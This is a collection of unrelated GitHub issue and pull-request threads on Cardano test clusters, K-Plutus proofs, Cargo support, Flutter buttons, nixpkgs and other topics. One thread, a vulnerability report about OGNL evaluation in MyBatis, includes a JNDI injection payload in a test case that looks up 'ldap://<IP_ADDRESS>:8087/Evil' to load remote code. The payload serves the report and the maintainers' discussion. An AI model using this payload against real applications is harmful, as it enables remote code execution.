Local test cluster changes for testing in multiple eras ⇒ #2438

I pushed some more WIP:

Added a stack snapshot for input-output-hk/cardano-node#2216.
Adjusted cluster launch code and config to use InstaFork™ technology.
Renamed "shelley test cluster" to just "local cluster".
Removed the commits from #2397 and #2391 and rebased on master.

@Anviking why was it necessary to re-generate all the faucet keys :thinking: ?

@Anviking why was it necessary to re-generate all the faucet keys :thinking: ?

@KtorZ I think @rvl renamed shelley-test-cluster to local-cluster, including the folder the keys where in

@KtorZ I think @rvl renamed shelley-test-cluster to local-cluster, including the folder the keys where in

I pulled out the local-cluster rename commits. We can do that another time.

I pulled out the local-cluster rename commits. We can do that another time.

I added a hard fork era config parameter to the test cluster.
It's almost possible to run tests on both allegra and mary, but for 2 problems with environment variables. One is fixed in #2419.

I added a hard fork era config parameter to the test cluster.
It's almost possible to run tests on both allegra and mary, but for 2 problems with environment variables. One is fixed in #2419.

Tests passed for me locally, except for one instance of the flaky test fixed by #2419.
bors try

Tests passed for me locally, except for one instance of the flaky test fixed by #2419.
bors try

which @Anviking is working on fixing.

Seemed to work out pretty nicely — but let's do the refactoring in a separate PR.

which @Anviking is working on fixing.

Seemed to work out pretty nicely — but let's do the refactoring in a separate PR.

bors try

bors try

Seems both buildkite and hydra passed in the bors try, but the bors status has failed to be updated
bors r+

Seems both buildkite and hydra passed in the bors try, but the bors status has failed to be updated
bors r+

bors r+

bors r+

🤞
bors r+

🤞
bors r+

bors r+

bors r+


GUID_t refactor [6644]

While adding utility methods is_on_same_host_as, is_on_same_process_as and is_builtin, this PR improves mantainability by separating GuidPrefix_t and EntityId_t to their own header files.
NB: An additional PR will follow this one to convert EntityId_t to an alias of uint32_t.

Build status:

Linux
Mac
Windows
Performance

Build status:

Linux
Mac
Windows
Performance

Build status:

Linux
Mac
Windows
Performance

Build status:

Linux
Mac
Windows
Performance

Build status:

Linux
Mac
Windows
Performance

Build status:

Linux
Mac
Windows
Performance


Proofs for simple lambda identity expressions

Work has begun on the proof-examples branch to develop proofs for K-Plutus.
The three claims that we aim to prove are:
  claim <k> [ ( lam v_0 v_0 ) (con integer 1) ] => < con integer 1 > ... </k>
  claim <k> [ ( lam v_0 v_0 ) (con TN:TypeConstant C:Constant) ] => < con TN C > ... </k>
  claim <k> [ ( lam X:UplcId X ) T:Term] =>  T  ... </k>

The initial commit https://github.com/runtimeverification/plutus-core-semantics/commit/50dc30e17788600853c046d58b5c49177cd63d6c is using the wrong expression on the right hand side of the rewrites. The terms in parentheses should be in angle brackets instead.

We should run make test-prove and .build/usr/bin/kplc prove --directory simple-proofs/verification/haskell simple-proofs/simple-symbolic.md --debugger --debug-script k-script.
Inside the repl, prove 5 and step n for some sufficient n like 10.
While trying to prove the first claim, we reached a state where the prover didn't know if x was in the environment or not. This could be solved in different ways, including:

Having auxiliar claims saying what to do on each case. Then each claim (when x is in the environment and otherwise) must be proven separetely.
Change the semantic rule with two rules specifying application on each case.
Implement the semantics for #push as a single rule using #if.

Additional learning notes:
claim <k> [ ( lam v_0 v_0 ) (con integer 1) ] => < con integer 1 > ... </k>

This claim got stuck in the #push function.
rule #push(E:Map, X:UplcId, I:Int) => E[X <- ({E[X]}:>List ListItem(I))]
requires X in_keys(E)
rule #push(E:Map, X:UplcId, I:Int) => E[X <- ListItem(I)] [owise]

This definition for #push causes branching and results in a stuck state. The solution to this is to rewrite the functional rule as following:
rule #push(E:Map, X:UplcId, I:Int) =>
     #if X in_keys(E)
     #then E[X <- #append({E[X]}:>List, I)]
     #else E[X <- ListItem(I)]
     #fi

Virgil's suggestions:
1 define ceil({@L}:>List)
2 use allValuesAreList in the requires clause of the claim
3 (most likely) rule isList(Rho[V]) => true requires V in_keys(Rho) andBool allValuesAreList(Tho)
ceil({@L}:>List) => isList(@L) andBool #ceil(@L)
MySort => isMySort

We tried 1 and 3. They lead to some definedness problems for projection functions including for {@L:Kitem}:>List, solved by the rule below added to UPLC-ENVIRONMENT:
rule #Ceil({@L:KItem}:>List) => {isList(@L) #Equals true} #And #Ceil(@L)  [anywhere, simplification]

One question that was brought up: why are we having to write these ceil rules manually? shouldn't they be injected automatically by kompile?

Exactly! At least with respect to K’s builtins. I would understand having to define them for whatever a user’s definition create. So which is the methodology for adding definedness rules?

  rule <k> V:Value ~> [ < lam X:UplcId M:Term RHO:Map > _] => M ... </k>
       <env> _ => #push( RHO, X, #uplcHash(V) ) </env>
       <heap> Heap => Heap[ #uplcHash(V) <- V ] </heap>

This rule is causing an issue with the haskell backend because of the #push on the RHS. I don't recall exactly what @virgil-serbanuta said was the problem, I think it was something about the backend dropping the case where the RHS is undefined?

I think an additional constraint was being added to the proof, saying that X should be in in_keys(RHO).

Yes, the problem is that, in principle, when you apply this rule, you start with a configuration without any constraint and you end up with a configuration in which X in_keys(RHO) (I also think that this was the constraint, but I don't fully remember). So, this rule basically says "if X is not in_keys(RHO)" then everything is fine, let's just ignore the configuration and the corresponding proof branch.


Cant get forms to work inside areas

For some reason the area specific form element block view locations are not being registered. Loaded your nuget package after successfully implementing the base areas support package, but form element templates only work when in the root shared folder. Ones in the views folders are ignored. In developer tools I checked the view locations and the area specific view locations are not there. Even went as far as copying the view engines code and implemented it manually, verified it runs when loading, but still does not work. I am also using the EPiServerBootstrapArea and corresponding forms package, could that be conflicting with this?

Hi,
So the case (just to get an idea and understand more) is that you do have:

display templates for form elements in root Views/ folder. and that is working as expected
you do have some areas defined and have page types there
you have installed this package
view locations in areas are not registered in view engines

Just trying to understand your setup. Ideally if you could drop not working AlloyTech sample project. That would make things go faster.

Yes, that is the case. The form element templates from the areas are not registered. I confirmed this in both developer tools and by removing the root views/shared form element templates. They revert back to the built in ones. I wish I had the time to repro in an alloy demo site for you. Unfortunately deadlines are approaching so I have to work around it. At the moment I have just left it in the root folder for now in hopes that you can find a solution. It will become more important once I have additional sites with different form element styles that require them to be edited. Can you try putting both your bootstrap content area and the MVC areas packages into the same project, I suspect they are conflicting with each other.


Cargo support

Added support for Rust's package manager Cargo. The package manager in general builds everything from source archives called crates that are downloaded from crates.io or another crates registry. The only exception are the dependencies specified through a path or through git repository.
The information about the projects and its dependencies is fully provided by the cargo metadata command. In particular, it resolves the dependency tree of the project. The information is produced from the project definition Cargo.toml and its lock file Cargo.lock. The latter is generated if it does not exists. Note that for workspaces Cargo.lock is generated next to the workspace definition, therefore in that case we try to find it in the parent directories.
The downloader is changed to prefer crates instead of downloading the source code from VCS for Cargo packages.
Also, since the downloader is not following redirects, a crate is downloaded without a crate extension and therefore it needs to be renamed, since the mime-type detection for unpack is based on the file extension. (I guess, this probably should be fixed by using some mime-type library.)
Resolves #724

This change is

Thanks @boxdot! Would you mind squashing all your WIP commits in the PR, so the PR consists of only a single commit to start with, and use the text from the PR as the commit message of that commit? We try to capture all valuable information in Git, and not leave important bits behind in the GitHub conversation UI.

@sschuberth: Squashed with embedded description. Updated the description of the PR.

While I had a bunch of comments, all in all very nice work @boxdot!

Thanks for the review! All resolved comments are applied.

Second round of review done. I expected a third round as I still need to review the changes in the last file. Please simply squash all review-related changes into the commit where the reviewed code was introduced, i.e. in this case your first commit.

@sschuberth It looks like there are tests failing recently introduced by changes on master.

Looks more like a temporary hiccup with Hackage, the Stack registry, or a general network issue. Locally StackTest passes for me, and anyway nothing goes into master without passing the tests first.
That said, @boxdot, please wait a bit until catching up with master. We need to sort out an issue first, and I'll probably get https://github.com/heremaps/oss-review-toolkit/pull/1626 merged which allows you to define "crate"-handling in `ArchiveUtils.kt only once. Afterwards I'd like to ask you a (hopefully) last time to squash all commits in this PR, rebase onto master, and then I believe we're good to merge.

Looks more like a temporary hiccup with Hackage, the Stack registry, or a general network issue. Locally StackTest passes for me, and anyway nothing goes into master without passing the tests first.
That said, @boxdot, please wait a bit until catching up with master. We need to sort out an issue first, and I'll probably get #1626 merged which allows you to define "crate"-handling in `ArchiveUtils.kt only once. Afterwards I'd like to ask you a (hopefully) last time to squash all commits in this PR, rebase onto master, and then I believe we're good to merge.

Thanks for the update. I will fix your other comments and wait for the master to catch up.

@boxdot, from my side we're ready to again squash your PR into one commit, rebase onto master (resolving the easy conflicts in ArchiveUtils.kt) and merging after tests pass.

@boxdot, from my side we're ready to again squash your PR into one commit, rebase onto master (resolving the easy conflicts in ArchiveUtils.kt) and merging after tests pass.

Squashed and adjusted to the changes on master. Let's hope the CI will pass.

@boxdot, I still see the changes from the quickcheck-state-machine submodule in your diff, which shouldn't be. Please ensure to have run git submodule update --init --recursive on the state you rebase onto.

... or simply amend your commit with the submodule being check out from master.


Command "preset" is not defined

I want to use React, I am getting this error with a new Laravel installation:
Command "preset" is not defined.
any help?

Hi there,
Thanks for reporting but it looks like this is a question which can be asked on a support channel. Please only use this issue tracker for reporting bugs with the library itself. If you have a question on how to use functionality provided by this repo you can try one of the following channels:

Laracasts Forums
Laravel.io Forums
StackOverflow
Discord
Larachat
IRC

Thanks!


Back on wallet select screen closes app

Repro

Open settings screen
Select switch wallet
Press back

Expected result: return to settings screen
Actual result: app is closed

Moved to Clubhouse
https://app.clubhouse.io/emurgo/story/1780/android-the-back-button-on-wallet-select-screen-closes-app


Potential Express Injection Vulnerability

Problem Statement
In the MyBatis framework, the ExpressionEvaluator module uses OGNL to evaluate the values of expressions and handle the returned results. However, this functionality may be exploited by attackers to inject carefully crafted malicious expressions, enabling attacks such as remote code execution.
A vulnerable code example.
package org.apache.ibatis.scripting.xmltags;

public class ExpressionEvaluator {
  public boolean evaluateBoolean(String expression, Object parameterObject) {
      Object value = OgnlCache.getValue(expression, parameterObject);
      if (value instanceof Boolean) {
        return (Boolean) value;
      }
      if (value instanceof Number) {
        return new BigDecimal(String.valueOf(value)).compareTo(BigDecimal.ZERO) != 0;
      }
      return value != null;
    }
}

MyBatis version
<= 3.5.17
Steps to reproduce
Considering the security implications, I just provide the following test case as an example to reproduce the attack.
class ExpressionEvaluatorTest {

  private final ExpressionEvaluator evaluator = new ExpressionEvaluator();
 @Test
  void shouldReturnFalseIfZero() {
    String query = "@javax.naming.InitialContext@doLookup('ldap://<IP_ADDRESS>:8087/Evil')";
    boolean value = evaluator.evaluateBoolean(query,
        new Author(0, "cbegin", null<EMAIL_ADDRESS>"N/A", Section.NEWS));
    assertFalse(value);
  }
}

Vulnerability Impact
Remote Command Execution (RCE), such as the invocation of the calculator application.

Hello @qxyuan853 ,
So, this also assumes that mybatis is used in an application that has a vulnerability allowing an attacker to execute arbitrary code using any class in the app's dependencies, am I right?
I honestly am not sure if it's possible to protect such applications comprehensively, but what do you propose?
FYI, OGNL provides a custom security manager that prevents some risky calls.
For JNDI lookup particularly, JDK provides NamingManager to prevent such attack, it seems (I've never tried it, so please correct me if this statement is inaccurate).
We also encourage developers to setup JEP-290 serialization filter. #2079

Hi harawata,
I fully agree that achieving complete protection can be quite challenging. That said, would it be possible to provide an interface/optional configuration that simplifies security customization for users? For example, allowing them to define custom blacklists or whitelists to restrict the methods that can be invoked during expression parsing.
In addition, from what we’ve observed, most users tend to stick with the default configuration. Therefore, adding a default blacklist and whitelist restrictions might be a helpful enhancement. Otherwise, the OGNL parsing functionality in MyBatis could be more easily exploited by attackers to carry out malicious actions.
Thank you for your continued attention to this matter.

Hi harawata,
I fully agree that achieving complete protection can be quite challenging. That said, would it be possible to provide an interface/optional configuration that simplifies security customization for users? For example, allowing them to define custom blacklists or whitelists to restrict the methods that can be invoked during expression parsing.
In addition, from what we’ve observed, most users tend to stick with the default configuration. Therefore, adding a default blacklist and whitelist restrictions might be a helpful enhancement. Otherwise, the OGNL parsing functionality in MyBatis could be more easily exploited by attackers to carry out malicious actions.
Thank you for your continued attention to this matter.

Hi harawata,
I noticed that a similar vulnerability also previously existed in Thymeleaf (https://github.com/thymeleaf/thymeleaf), where they addressed it by using a combination of blacklists and whitelists to restrict methods that can be called on Class objects from expressions. Perhaps you could refer to their defense strategy, e.g., https://github.com/thymeleaf/thymeleaf/commit/2f1298367fd73caa0f5121803d682bfc3a77c3ce

The commit adds restriction to Thymeleaf's internal expression language.
If you want OGNL to provide similar restriction, you need to propose it to OGNL, not to MyBatis.
If the attacker can call OgnlCache#getValue(), they should be able to call Ognl#getValue(), so I don't see the point in protecting OgnlCache, to be honest.
And, please educate the developers you know about these security measures like JEP-290 if they haven't used them.
If developers use user input directly, for example, there is not much we (=framework/library developers) can do to protect their app.

Hi harawata,
it seems like there might be some misunderstanding.
Thymeleaf also uses Ognl#getValue to evaluate expressions, and the issue lies in restricting the methods that can be invoked during the evaluation process. Furthermore, in practice, the security measures of JEP-290 can also be bypassed in various ways.

In MyBatis, risky string is not evaluated by OGNL unless 1) the app developer passes risky string directly to OGNL expression in their app or 2) there is some library that has vulnerability allowing attacker to execute arbitrary code.
Are you suggesting that we should take care of 1) ?

However, it seems that MyBatis-3 includes scenarios where OGNL may evaluate expressions that involve user input. The dynamic SQL features in MyBatis-3 (such as , , , and ) rely on OGNL to evaluate conditional expressions. External user input, passed through the parameterObject, can be included in these expressions and dynamically evaluated by OGNL.
If my understanding is incorrect, I would greatly appreciate your clarification.

It might be.
Let us discuss using a concrete example.
Here is the POJO.
public class User {
  private Integer id;
  private String name;
  // getters, setters
}

The mapper and the method to search users by the properties of the User.
public interface UserMapper {
  List<User> search(User criteria);
}

The mapper statement may look something like this.
<select id="search" resultType="pkg.User">
  select id, name from user
  <where>
    <if test="name != null">
      and name = #{name}
    </if>
  </where>
</select>

Now, if the developer sets an external user's input (e.g. a request parameter) to User.name, is it safe?
The answer is "yes, it is safe".
Even if the value of name is "@javax.naming.InitialContext@doLookup('ldap://<IP_ADDRESS>:8087/Evil')", OGNL does not call the method.
The expression OGNL evaluates, in this case, is always name != null and external users cannot change that.
Hope this clarifies your concern.
If I am misunderstanding what you mean, please show us an example like the above.


New Buttons doesn't work with side from shape

On the new Button system, you can only set the side via side in style, and not via shape in style. This is super confusing. Material accepts both a shape and borderRadius (when shape exists, borderRadius can't be set). Container accepts both a color and a decoration (which gives an error if color is set in both places). But the new Button system completely ignores the shape.

Center(
        child: Column(
          children: [
            // Works fine...
            ElevatedButton(
              style: ElevatedButton.styleFrom(
                shape: RoundedRectangleBorder(
                  borderRadius: BorderRadius.circular(16),
                ),
                side: BorderSide(width: 4, color: Colors.green),
                primary: Colors.red,
              ),
              child: Text("aaaa"),
              onPressed: () {},
            ),
            // Doesn't work!
            ElevatedButton(
              style: ElevatedButton.styleFrom(
                shape: RoundedRectangleBorder(
                  borderRadius: BorderRadius.circular(16),
                  side: BorderSide(width: 4, color: Colors.green),
                ),
                primary: Colors.red,
              ),
              child: Text("aaaa"),
              onPressed: () {},
            ),
          ],
        ),
      )

Proposal: check if side is set by the shape.

If style.side isn't specified and the button's shape incorporates an outline we should render the shape with its outline. Looking into fixing this...

Reproducible on master.
This is somehow similar to https://github.com/flutter/flutter/issues/68368.
flutter doctor -v
[✓] Flutter (Channel master, 1.24.0-7.0.pre.72, on Mac OS X 10.15.7 19H2 darwin-x64, locale en)
    • Flutter version 1.24.0-7.0.pre.72 at /Users/pedromassango/dev/SDKs/flutter_master
    • Framework revision a2a4e9eda4 (6 hours ago), 2020-11-02 20:12:47 -0800
    • Engine revision<PHONE_NUMBER>
    • Dart version 2.12.0 (build 2.12.0-3.0.dev)

[✓] Android toolchain - develop for Android devices (Android SDK version 30.0.1)
    • Android SDK at /Users/pedromassango/Library/Android/sdk
    • Platform android-30, build-tools 30.0.1
    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6222593)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 12.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 12.1, Build version 12A7403
    • CocoaPods version 1.9.3

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 4.0)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6222593)

[✓] IntelliJ IDEA Community Edition (version 2020.2.3)
    • IntelliJ at /Applications/IntelliJ IDEA CE.app
    • Flutter plugin version 50.0
    • Dart plugin version 202.7319.5

[✓] VS Code (version 1.50.1)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.16.0

[✓] Connected device (4 available)
    • iPhone 12 Pro Max (mobile) • ECCF5C4A-8BEC-411D-B23E-85A836C3847E • ios            • com.apple.CoreSimulator.SimRuntime.iOS-14-1 (simulator)
    • macOS (desktop)            • macos                                • darwin-x64     • Mac OS X 10.15.7 19H2 darwin-x64
    • Web Server (web)           • web-server                           • web-javascript • Flutter Tools
    • Chrome (web)               • chrome                               • web-javascript • Google Chrome 86.0.4240.111

• No issues found!


Feature Request: Suppress the generation of a default alertmanager configuration

I am using bitnami-labs/sealed-secrets to generate a secret resource for alertmanager configuration.
However, VictoriaMetrics-operator seems to generate a default secret automatically when it does not exist, as below,.
https://github.com/VictoriaMetrics/operator/blob/40e9317512856286d9a2ceee96da74b93f56c9ff/controllers/factory/alertmanager.go#L565
It is undesirable to me that VictoriaMetrics-operator generates the secret before sealed-secrets.
Is there any way to suppress this generation?

Hello, agreed, this logic must be changed. It was done for early versions.
Need to change it for if configSecret is defined, do nothing.

Fix will be included into next operator release, for now it can be tested with master branch.

Changes was included to the 0.15.0 release. Sorry for delay.


Can the generated handler and logic filenames be separated by an underscore?

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

--style value   the file naming format, see [https://github.com/zeromicro/go-zero/tree/master/tools/goctl/config/readme.md]
 goctl rpc proto -src test.proto -dir . -style go_zero


Add latest GTest release.

Testing:

https://ci.appveyor.com/project/ingenue/hunter/build/1.0.2696
https://travis-ci.org/ingenue/hunter/builds/295394889?utm_source=github_status&utm_medium=notification

Uploading:

https://ci.appveyor.com/project/ingenue/hunter/build/1.0.2698
https://travis-ci.org/ingenue/hunter/builds/295454621?utm_source=github_status&utm_medium=notification

Released: https://github.com/ruslo/hunter/releases/tag/v0.19.143

Thank you for the quick release.

This version requires CMake 3.7 to work.
https://github.com/hunter-packages/googletest/issues/24


Add -mixedcaps option to edgeql-go

The new -mixedcaps option changes snake_case names in shapes to MixedCaps names in go structs.
select User {
    first_name,
    last_name,
}

Becomes:
type MyQueryResult struct {
    FirstName string `edgedb:"first_name"`
    LastName  string `edgedb:"last_name"`
}

Without this option enabled names are used exactly as they appear in shapes. For example the query above would produce the following struct:
type MyQueryResult struct {
    first_name string `edgedb:"first_name"`
    last_name  string `edgedb:"last_name"`
}

working on https://github.com/edgedb/edgedb-go/issues/245

Can this be reviewed? It would be an extremely useful feature


subversion: 1.12.2 -> 1.14.1

Motivation for this change
https://github.com/NixOS/nixpkgs/pull/120562#issuecomment-826599361
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

@dotlambda Local build works for me - can I have your logs?
If you have sandbox disabled, this could be it. Do your builds use the sandbox?

Oh sorry, I didn't specify it's subversionClient that's failing.

@ajs124 The subversionClient is just an overriden version of the subversion package.
The error is
SWIG python disabled at configure time: py3c library not found

would need to be added to pythonpackages set propably.

Oops. I though I'd tested that. Should be fixed now. Thanks for catching that.

pythonpackages set propably

I added it as a regular package instead, because it's just a bunch of C headers, but if you install it with buildPythonPackage/setup.py, it's installed as a python library and missing the pkg-config file.

👋 Hello @ajs124
I think this broke my build, I'm on MacOS version 11.3 (20E232).
I'm new to Nix, so forgive me if the following doesn't make sense.
TBH I'm not sure what package is depending on this change, I'm using home-manager, when I'm trying to build my packages from the nixos-unstable-small branch I'm getting the following error:
clang-7: error: argument unused during compilation: '-fno-strict-overflow' [-Werror,-Wunused-command-line-argument]
error: command 'clang' failed with exi

Details:
Error

build flags: SHELL=/nix/store/30njb8l701pwnm5ya749fh2cgyc2d70m-bash-4.4-p23/bin/bash prefix=/nix/store/mx576n9ivgd25l1ay5v52pnva1ahj2wy-py3c-1.3.1
echo "Available targets:"
Available targets:
echo "    make test"
    make test
echo "    make test-<interpreter>"
    make test-<interpreter>
echo "    make doc"
    make doc
echo "    make install"
    make install
echo "    make clean"
    make clean
running tests
check flags: SHELL=/nix/store/30njb8l701pwnm5ya749fh2cgyc2d70m-bash-4.4-p23/bin/bash prefix=/nix/store/mx576n9ivgd25l1ay5v52pnva1ahj2wy-py3c-1.3.1 VERBOSE=y test
make test-python2
make[1]: Entering directory '/private/tmp/nix-build-py3c-1.3.1.drv-0/source'
cd test; rm -rvf build ; python2 setup.py build
running build
running build_ext
building 'test_py3c' extension
creating build
creating build/temp.macosx-10.12-x86_64-2.7
clang -I../include -I/nix/store/25lzm81cpg9jqasc9pccl9dzx9gh7rdl-python-2.7.18/include/python2.7 -c test_py3c.c -o build/temp.macosx-10.12-x86_64-2.7/test_py3c.o -Werror -Wall
creating build/lib.macosx-10.12-x86_64-2.7
clang -bundle -undefined dynamic_lookup build/temp.macosx-10.12-x86_64-2.7/test_py3c.o -L/nix/store/25lzm81cpg9jqasc9pccl9dzx9gh7rdl-python-2.7.18/lib -o build/lib.macosx-10.12-x86_64-2.7/test_py3c.so
PYTHONPATH=test/build/lib.macosx-10.12-x86_64-2.7 python2 test -v
test_get_context (__main__.CapsuleChecks) ... ok
test_get_destructor (__main__.CapsuleChecks) ... ok
test_get_name (__main__.CapsuleChecks) ... ok
test_get_pointer (__main__.CapsuleChecks) ... ok
test_get_pointer_nullname (__main__.CapsuleChecks) ... ok
test_import (__main__.CapsuleChecks) ... ok
test_invalid (__main__.CapsuleChecks) ... ok
test_invalid_operations (__main__.CapsuleChecks) ... ok
test_set_context (__main__.CapsuleChecks) ... ok
test_setdestructor (__main__.CapsuleChecks) ... ok
test_setname (__main__.CapsuleChecks) ... ok
test_setpointer (__main__.CapsuleChecks) ... ok
test_type (__main__.CapsuleChecks) ... ok
test_valid (__main__.CapsuleChecks) ... ok
test_return_notimplemented (__main__.ComparisonHelperChecks) ... ok
test_unreachable (__main__.ComparisonHelperChecks) ... ok
test_bad_type (__main__.FileShimChecks) ... ok
test_read (__main__.FileShimChecks) ... ok
test_read_write (__main__.FileShimChecks) ... ok
test_write (__main__.FileShimChecks) ... ok
test_fromstring (__main__.FloatChecks) ... ok
test_as (__main__.IntChecks) ... ok
test_check (__main__.IntChecks) ... ok
test_check_exact (__main__.IntChecks) ... ok
test_from (__main__.IntChecks) ... ok
test_type (__main__.IntChecks) ... ok
test_all_comparisons (__main__.NewComparisonChecks) ... ok
test_number (__main__.NewComparisonChecks) ... ok
test_number_int_equality (__main__.NewComparisonChecks) ... ok
test_number_number_equality (__main__.NewComparisonChecks) ... ok
test_all_comparisons (__main__.OldComparisonChecks) ... ok
test_number (__main__.OldComparisonChecks) ... ok
test_number_int_equality (__main__.OldComparisonChecks) ... ok
test_number_number_equality (__main__.OldComparisonChecks) ... ok
test_raw_calloc_zero (__main__.RawMallocChecks) ... ok
test_raw_malloc (__main__.RawMallocChecks) ... ok
test_raw_malloc_zerosize (__main__.RawMallocChecks) ... ok
test_raw_realloc (__main__.RawMallocChecks) ... ok
test_raw_realloc_null (__main__.RawMallocChecks) ... ok
test_raw_realloc_zero (__main__.RawMallocChecks) ... ok
test_asstring (__main__.StringChecks) ... ok
test_asutf8 (__main__.StringChecks) ... ok
test_asutf8andsize (__main__.StringChecks) ... ok
test_asutf8string (__main__.StringChecks) ... ok
test_check (__main__.StringChecks) ... ok
test_check_exact (__main__.StringChecks) ... ok
test_concat (__main__.StringChecks) ... ok
test_decode (__main__.StringChecks) ... ok
test_format (__main__.StringChecks) ... ok
test_fromformat (__main__.StringChecks) ... ok
test_fromstring (__main__.StringChecks) ... ok
test_fromstringandsize (__main__.StringChecks) ... ok
test_internfromstring (__main__.StringChecks) ... ok
test_interninplace (__main__.StringChecks) ... ok
test_type (__main__.StringChecks) ... ok

----------------------------------------------------------------------
Ran 55 tests in 0.073s

OK
make[1]: Leaving directory '/private/tmp/nix-build-py3c-1.3.1.drv-0/source'
make test-python3
make[1]: Entering directory '/private/tmp/nix-build-py3c-1.3.1.drv-0/source'
cd test; rm -rvf build ; python3 setup.py build
removed 'build/temp.macosx-10.12-x86_64-2.7/test_py3c.o'
removed directory 'build/temp.macosx-10.12-x86_64-2.7'
removed 'build/lib.macosx-10.12-x86_64-2.7/test_py3c.so'
removed directory 'build/lib.macosx-10.12-x86_64-2.7'
removed directory 'build'
running build
running build_ext
building 'test_py3c' extension
creating build
creating build/temp.macosx-10.6-x86_64-3.8
clang -Wno-unused-result -Wsign-compare -Wunreachable-code -DNDEBUG -g -fwrapv -O3 -Wall -I../include -I/nix/store/l4q9nfrq3wz4qgk5ikbzfcs7iqdb32y1-python3-3.8.9/include/python3.8 -c test_py3c.c -o build/temp.macosx-10.6-x86_64-3.8/test_py3c.o -Werror -Wall
clang-7: error: argument unused during compilation: '-fno-strict-overflow' [-Werror,-Wunused-command-line-argument]
error: command 'clang' failed with exit status 1
make[1]: *** [Makefile:27: build-python3] Error 1
make[1]: Leaving directory '/private/tmp/nix-build-py3c-1.3.1.drv-0/source'
make: *** [Makefile:20: test] Error 2
builder for '/nix/store/9ibmpqmyykj626i34ggjdbfwhcb4iikq-py3c-1.3.1.drv' failed with exit code 2
cannot build derivation '/nix/store/s4ikp3xqcg9v2agr5dblw8aa0hwv8r86-subversion-1.14.1.drv': 1 dependencies couldn't be built
cannot build derivation '/nix/store/67rys6v5p67cgb9h4hv6mgb7sf4aphqk-git-2.31.1.drv': 1 dependencies couldn't be built
cannot build derivation '/nix/store/zag8im9ix51fnjvycjzc628shj9zln8n-home-manager-fonts.drv': 1 dependencies couldn't be built
cannot build derivation '/nix/store/hs6lc5sgyxslhysqh52j63n2z4j8za3q-home-manager-path.drv': 1 dependencies couldn't be built
cannot build derivation '/nix/store/yblwlblbja33z33als1qv1fgwypprbmz-home-manager-generation.drv': 1 dependencies couldn't be built
error: build of '/nix/store/yblwlblbja33z33als1qv1fgwypprbmz-home-manager-generation.drv' failed

If I use the commit revision just before this PR (5ef56ad9f17993bda954e5c0527984b3d6fa570a), things works fine.
Thanks

I can reproduce the error on Linux using nix-build -E "with import ./. { }; py3c.override { stdenv = clangStdenv; }".


support EXIF_TAG_USER_COMMENT

Tests added, adding EXIF_TAG_MAKER_NOTE is left for another PR.
I also took the liberty of updating some docstrings, and the README.md.

BTW is writing EXIF_TAG_MAKER_NOTE important for you? We can read them right now just fine but writing them is still needed to be done.

BTW is writing EXIF_TAG_MAKER_NOTE important for you? We can read them right now just fine but writing them is still needed to be done.

Not at the moment, but I though that integrating more tags was always better. This is left fo another PR :)


[BUG] from bloxstrap

Acknowledgement of preliminary instructions

[X] I have read the preliminary instructions, and I am certain that my problem has not already been addressed.

What problem did you encounter?
im doing dup the roblox the error its here and http into http404 do fix again here this code error2024-06-26T07:50:00Z [App::OnStartup] Starting Bloxstrap v2.5.3
2024-06-26T07:50:00Z [App::OnStartup] Compiled Wednesday, 11 October 2023 at 8:29:04 PM from commit a099d160726f4d5ac832f97a8e167ae0338193ad (tag/v2.5.3)
2024-06-26T07:50:00Z [App::OnStartup] Loaded from %UserProfile%\AppData\Local\Bloxstrap\Bloxstrap.exe
2024-06-26T07:50:00Z [Logger::Initialize] Initializing at %UserProfile%\AppData\Local\Bloxstrap\Logs\Bloxstrap_20240626T075000Z.log
2024-06-26T07:50:00Z [Logger::Initialize] Finished initializing!
2024-06-26T07:50:00Z [JsonManager::Load] Loading from %UserProfile%\AppData\Local\Bloxstrap\Settings.json...
2024-06-26T07:50:00Z [JsonManager::Load] Loaded successfully!
2024-06-26T07:50:00Z [JsonManager::Load] Loading from %UserProfile%\AppData\Local\Bloxstrap\State.json...
2024-06-26T07:50:00Z [JsonManager::Load] Loaded successfully!
2024-06-26T07:50:00Z [JsonManager<Dictionary2>::Load] Loading from %UserProfile%\AppData\Local\Bloxstrap\Modifications\ClientSettings\ClientAppSettings.json... 2024-06-26T07:50:00Z [JsonManager<Dictionary2>::Load] Loaded successfully!
2024-06-26T07:50:00Z [FastFlagManager::SetValue] Changing of 'FFlagHandleAltEnterFullscreenManually' from 'False' to 'False' is pending
2024-06-26T07:50:00Z [NotifyIconWrapper::NotifyIconWrapper] Initializing notification area icon
2024-06-26T07:50:00Z [App::OnStartup] Initializing bootstrapper
2024-06-26T07:50:00Z [App::OnStartup] Initializing bootstrapper dialog
2024-06-26T07:50:00Z [App::OnStartup] Creating singleton mutex
2024-06-26T07:50:00Z [App::OnStartup] Warning - singleton mutex already exists!
2024-06-26T07:50:00Z [Bootstrapper::Run] Running bootstrapper
2024-06-26T07:50:00Z [Bootstrapper::Run] Performing connectivity check...
2024-06-26T07:50:00Z [Bootstrapper::SetStatus] Connecting to Roblox...
2024-06-26T07:50:00Z [RobloxDeployment::GetInfo] Getting deploy info for channel LIVE (extraInformation=False)
